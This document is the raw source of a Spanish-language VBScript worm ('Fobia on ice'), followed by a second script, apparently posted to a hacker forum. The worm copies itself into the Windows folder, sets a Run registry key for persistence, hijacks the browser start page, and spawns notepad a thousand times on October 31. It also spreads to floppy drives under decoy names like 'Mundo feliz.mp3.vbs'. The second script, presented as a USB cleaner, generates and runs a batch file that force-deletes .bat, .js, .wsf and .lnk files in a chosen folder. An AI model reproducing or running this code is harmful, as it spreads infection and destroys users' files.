ON ERROR RESUME NEXT
Dim Fobiacmsgchxxrl
Dim Fobiacborrchxxrl
Dim Fobiaccolchxxrl
Dim zchxxrl
Dim Fobianarchxxrl
Dim Fobiadichxxrl
Dim Fobiavalchxxrl
Dim Fobiasenchxxrl
Dim Fobiatecchxxrl
Dim vtecchxxrl
Set Fobiawshchxxrl = CreateObject("WScript.Shell")
Set Fobiafsochxxrl= CreateObject("scripting.filesystemobject")
Fobiawshchxxrl.regwrite "HKCU\software\" & Chr(71) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116),Chr(71) & Chr(101) & Chr(111) & Chr(99) & Chr(105) & Chr(116) & Chr(105) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(103) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116)
Fobiafsochxxrl.copyfile wscript.scriptfullname,Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs"
Fobiawshchxxrl.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kuasanagui","wscript.exe " & Fobiafsochxxrl.GetSpecialFolder(0) & "\camila.vbs %"
Const Wri = 2
Const Cr = True
Dim File
Dim F
File = Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
Set F = Fobiafsochxxrl.opentextfile(File, Wri, Cr)
F.write "Quisiera ser un microbito," & vbcrlf & "que habite en tu cuerpo," & vbcrlf & "hay para estar muy calientito," & vbcrlf & "casi todo el tiempo," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "Quiero vivir en una arteria," & vbcrlf & "junto a tu corazon," & vbcrlf & "tu cuerpo para mi seria, " & vbcrlf & "como una gran mansión," & vbcrlf & "correr por tus venas," & vbcrlf & "y en tu sangre siempre estar," & vbcrlf & "de ahi nadie me podra sacar." & vbcrlf & "" & vbcrlf & "Hare una alberca en tu ombliguito," & vbcrlf & "pa meterme a nadar," & vbcrlf & "y si me voy mas abajito," & vbcrlf & "nadie me sacara," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "De ti me voy a alimentar."
F.close
Fobiawshchxxrl.run "notepad " & Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page","http://www.jodiendo.com"
Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Window title","FOBIA ON ICE"
If month(now) = 10 and day(now) = 31 then
For zchxxrl = 0 to 1000
Fobiawshchxxrl.run ("C:\Windows\notepad.exe")
Next
End If
Fobiavalchxxrl = 0
Fobiatecchxxrl = 0
dichxxrl()
Function dichxxrl()
On Error Resume Next
Do
Fobiatecchxxrl = Fobiatecchxxrl + 1
Fobiavalchxxrl = Fobiavalchxxrl + 1
Randomize timer
Fobiadichxxrl = Int(Rnd * 6)
If Fobiadichxxrl = 0 then Fobianarchxxrl = "Fobia.txt"
If Fobiadichxxrl = 1 then Fobianarchxxrl = "Mundo feliz.mp3"
If Fobiadichxxrl = 2 then Fobianarchxxrl = "Amor chiquito.jpg"
If Fobiadichxxrl = 3 then Fobianarchxxrl = "Fobia on ice.mp3"
If Fobiadichxxrl = 4 then Fobianarchxxrl = "Leche.html"
If Fobiadichxxrl = 5 then Fobianarchxxrl = "microbito.mp3"
If Fobianarchxxrl = "" then Fobianarchxxrl = "LEEME.TXT"
If Fobiavalchxxrl = 900000 then
Fobiafsochxxrl.copyfile Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs","a:\" & Fobianarchxxrl & ".vbs"
Fobiavalchxxrl = 0
End If
If Fobiatecchxxrl = 700000 then
Fobiawshchxxrl.sendkeys "Quisiera ser un microbito...."
Fobiatecchxxrl = 0
Fobiatecchxxrl = 0
End If
Loop
End Function
 

'PARA FORO EL HACKER.
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.BrowseForFolder _
    (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)   
Set objFolderItem = objFolder.Self
strPath = objFolderItem.Path
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("desinf.bat",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "title Desinfectando USB (BY S4L)"
archivotexto.writeline "MODE CON: COLS=50 LINES=5"
archivotexto.writeline "color a"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛ                           ] 13 °/."
archivotexto.writeline "ping localhost -n 1 >nul"
archivotexto.writeline "cd /D "" " & strPath & """"
archivotexto.writeline "Attrib /d /s -r -h -s *.*"
archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛ                     ] 25 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.bat"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ               ] 47 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.wsf"
archivotexto.writeline "del /f /q Drive\*.wsf"
archivotexto.writeline "if exist *.lnk del *.lnk" 
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ     ] 70 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.ws"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ] 89 °/."
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "del /f /q *.js"
archivotexto.writeline "cls"
archivotexto.writeline "echo/"
archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ] 100 °/."
archivotexto.writeline "attrib -a -s -h -r /s /d"
archivotexto.writeline "attrib +s +h autorun.inf"
archivotexto.writeline "ping localhost -n 2 >nul"
archivotexto.writeline "explorer.exe "& strPath & """"
archivotexto.writeline "exit"
archivotexto.close
set WshShell=WScript.CreateObject("WScript.Shell")
WShShell.run "desinf.bat"
'credo por S4L.
'FISICA 638